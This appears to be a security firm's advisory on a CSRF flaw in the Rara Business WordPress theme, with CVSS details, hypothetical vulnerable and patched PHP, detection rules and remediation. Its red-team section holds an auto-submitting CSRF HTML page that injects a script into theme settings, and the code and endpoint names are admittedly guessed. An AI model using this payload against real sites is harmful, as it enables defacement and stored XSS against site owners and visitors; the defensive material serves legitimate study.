CVE-2024-37937

Executive Summary

CVE-2024-37937 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Rara Business WordPress theme by Rarathemes, up to and including version 1.2.5. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying theme settings or injecting malicious content, without the victim's consent. The attack requires social engineering to trick a logged-in admin into clicking a crafted link or visiting a malicious page. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress themes.

WordPress Ecosystem Context

This vulnerability specifically targets the Rara Business WordPress theme. It is not related to Apache or Nginx server software. The attack vector relies on the theme's lack of CSRF nonce validation in its administrative functions, a common issue in WordPress plugins and themes.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must click a link or visit a page.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Attacker can modify settings or inject content.
• Availability (A): None – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the prevalence of WordPress themes make this a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability lies in the administrative interface of the Rara Business theme. WordPress themes often include settings pages for customization (e.g., logo, colors, layout). These pages typically perform actions like saving options or importing/exporting data. A CSRF vulnerability occurs when these actions do not validate a unique, secret token (nonce) that is tied to the user's session.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a form or image tag that submits a request to the vulnerable WordPress admin endpoint (e.g., /wp-admin/admin-post.php?action=save_theme_settings).
2. The attacker lures an authenticated WordPress administrator to visit this page.
3. The victim's browser automatically sends the forged request, including their session cookies.
4. The theme's handler processes the request without checking for a CSRF nonce, executing the attacker's desired action (e.g., changing the site title, injecting JavaScript, or modifying theme options).

Impact: An attacker could:

• Change the site's appearance or branding.
• Inject malicious JavaScript (stored XSS) into theme settings, affecting all visitors.
• Reset theme configurations to default, causing disruption.
• Potentially escalate to full site compromise if combined with other vulnerabilities.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common CSRF fixes.

Vulnerable Code (Rara Business <= 1.2.5):

// In theme's admin-functions.php
function rara_business_save_settings() {
    // No nonce check
    update_option( 'rara_business_theme_options', $_POST['theme_options'] );
    wp_redirect( admin_url( 'themes.php?page=rara-business' ) );
    exit;
}
add_action( 'admin_post_save_rara_business', 'rara_business_save_settings' );

Patched Code (Hypothetical fix):

function rara_business_save_settings() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'rara_business_save_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    update_option( 'rara_business_theme_options', $_POST['theme_options'] );
    wp_redirect( admin_url( 'themes.php?page=rara-business' ) );
    exit;
}
add_action( 'admin_post_save_rara_business', 'rara_business_save_settings' );

The patched version adds a nonce verification using wp_verify_nonce(), which prevents CSRF attacks.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site running Rara Business <= 1.2.5.
• An authenticated admin session (victim).

Exploit HTML (csrf_exploit.html):

<html>
<body>
<h1>Click to Win a Prize!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="save_rara_business">
    <input type="hidden" name="theme_options[site_title]" value="Hacked by Attacker">
    <input type="hidden" name="theme_options[footer_text]" value="<script>alert('XSS')</script>">
    <input type="submit" value="Claim Prize">
</form>
<script>
    // Auto-submit for stealth
    document.forms[0].submit();
</script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim admin via email or social engineering.
3. When the admin visits the page, the form auto-submits, changing the site title and injecting a script.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected changes to theme options in WordPress admin logs.
• Look for HTTP requests to /wp-admin/admin-post.php with action=save_rara_business from unusual referrers.
• Use Web Application Firewall (WAF) rules to block requests missing a valid nonce.

Defense:

• Immediately update the theme if a patch becomes available.
• Implement a WordPress security plugin (e.g., Wordfence) that adds CSRF protection.
• Educate administrators to avoid clicking suspicious links while logged in.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-post.php with action=save_rara_business and no _wpnonce parameter.
  • Referrer headers from external domains (e.g., attacker-controlled site).
• File System:
  • Modified wp_options table entries for rara_business_theme_options.
  • Unexpected JavaScript code in theme settings (e.g., footer_text option).
• Logs:
  • WordPress debug log entries showing admin_post_save_rara_business action without nonce.
  • Web server access logs with unusual POST requests to admin endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_37937_CSRF_Rara_Business {
    meta:
        description = "Detects CSRF exploit attempts against Rara Business theme"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-37937"
    strings:
        $action = "save_rara_business"
        $theme_option = "theme_options"
        $admin_post = "admin-post.php"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-37937 CSRF Exploit Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b7d3f1a0e4c
status: experimental
description: Detects HTTP requests targeting Rara Business theme CSRF vulnerability
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=save_rara_business'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-37937 CSRF Exploit Attempt - Rara Business Theme";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=save_rara_business"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-37937;
    classtype:attempted-admin;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Rara Business theme until a patch is available. Switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Implement a Web Application Firewall (WAF) rule to block requests to /wp-admin/admin-post.php that lack a valid nonce.
3. Use a security plugin (e.g., Wordfence, Sucuri) that adds CSRF tokens to all admin actions.

Long-Term Fix:

• Contact Rarathemes for an official patch. If none is forthcoming, consider replacing the theme with a more actively maintained alternative.
• For developers: Add wp_nonce_field() to admin forms and check_admin_referer() or wp_verify_nonce() in action handlers.

Workaround:

• Restrict access to /wp-admin/ via .htaccess or IP whitelisting to reduce exposure.

Valters IT
Securing Digital Frontiers